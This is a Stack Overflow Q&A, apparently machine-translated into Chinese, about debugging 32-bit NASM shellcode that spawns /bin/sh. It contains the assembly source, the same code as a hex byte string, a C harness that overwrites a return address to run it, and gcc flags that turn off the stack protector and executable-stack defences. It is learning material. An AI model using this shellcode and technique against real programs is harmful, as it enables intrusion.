4

我正在使用 ubuntu 14.04、64 位。我正在学习 shellcode 编写。因此,为了生成一个 shell,我编写了以下程序

segment .text
global _start:
_start:


jmp short GotoCall

shellcode:
    pop esi
    xor eax, eax
    mov byte [esi + 7], al          #here i get Error
    lea ebx, [esi]
    mov long [esi + 8], ebx
    mov long [esi + 12], eax

    mov byte al, 0x0b
    mov ebx, esi
    lea ecx, [esi + 8]
    lea edx, [esi + 12]     
    int 80h

GotoCall:
    call shellcode
    Db '/bin/shJAAAABBBB'

已编译 -> nasm -ggdb -f elf Shellcode_Execve.asm

链接 -> ld -m elf_i386 -ggdb -o Shellcode_Execve Shellcode_Execve.o

当我在 GDB 中运行它时,我发现在下面的指令中我得到了错误,

mov byte [esi + 7], al

我发现,这是因为 DEP(数据执行预防)。所以我尝试了“-fno-stack-protector -z execstack”来编译和链接,如下所示,

$ nasm -ggdb -f elf32 -z execstack Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help

$ nasm -ggdb -f elf32 -z execstack -o shell Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help

$ nasm -ggdb -z execstack -f elf32  -o shell Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help

$ nasm -ggdb  -fno-stack-protector -z execstack -z execstack -f elf32  -o shell Shellcode_Execve.asm
nasm: fatal: unrecognised output format `no-stack-protector' - use -hf for a list
type `nasm -h' for help

$ nasm -ggdb -f elf32 Shellcode_Execve.asm

$ gcc -ggdb -m32 -fno-stack-protector -z execstack -o Shellcode_Execve Shellcode_Execve.o
Shellcode_Execve.o:Shellcode_Execve.asm:5: multiple definition of `_start'
/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib32/crt1.o:(.text+0x0): first defined here
/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib32/crt1.o: In function `_start':
(.text+0x18): undefined reference to `main'
collect2: error: ld returned 1 exit status

$ nasm -ggdb -f elf32 Shellcode_Execve.asm

$ gcc -ggdb -m32 -fno-stack-protector -z execstack -o Shellcode_Execve Shellcode_Execve.o

$ ./Shellcode_Execve 
Segmentation fault (core dumped)

$ nasm -ggdb -f elf32 Shellcode_Execve.asm

$ ld -m elf_i386 -ggdb -z execstack -o Shellcode_Execve Shellcode_Execve.o

$ ./Shellcode_Execve 
Segmentation fault (core dumped)

像上面一样,我尝试了所有使用 GCC 和 ld 禁用 DEP 的方法。但没有任何效果。那么如何禁用 DEP?并使我的代码工作?(请确保问题出在 DEP 上)

4

2 回答 2

4

我已经稍微更改了我的 NASM 代码,现在看起来如下所示,

section .mytext progbits alloc exec write align=16  ; CHANGED HERE
    global _start:
_start:
    jmp short GotoCall

    shellcode:
        pop esi
        xor eax, eax
        mov byte [esi + 7], al
        lea ebx, [esi]
        mov long [esi + 8], ebx
        mov long [esi + 12], eax

        mov byte al, 0x0b
        mov ebx, esi
        lea ecx, [esi + 8]
        lea edx, [esi + 12]        
        int 80h

    GotoCall:
        call shellcode
        Db '/bin/shJAAAABBBB'

.text 部分默认是不可写的。只是将第一行更改为

“节.mytext progbits alloc exec write align=16”

有关 progbits alloc exec write 的详细信息,请单击此处。

并且链接器具有一些默认覆盖,因此即使您要求它也会忽略可写的 .text 。但它不在乎它是否有不同的名称。

现在编译并链接它,

nasm -f elf32 Shellcode_Execve.asm
ld -m elf_i386 -o Shellcode_Execve Shellcode_Execve.o

现在它可以工作了:)

于 2014-07-10T06:02:05.083 回答
0

我知道我真的迟到了,但我一直在与相同的代码和 gcc 堆栈保护作斗争。当使用 objdump -d 将其转换为 shellcode 时,我最终得到:

char shellcode[]="\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}

然后,在您的提示的帮助下,我能够编译并运行它:

~/Shellcode$ gcc -fno-stack-protector -z execstack execShellSpawn.c -o execShellSpawn

如果没有 -z execstack,我会得到 Segfault。如果没有 -fno-stack-protector,它的作用与 exit(0) 差不多。

于 2017-04-06T18:43:56.157 回答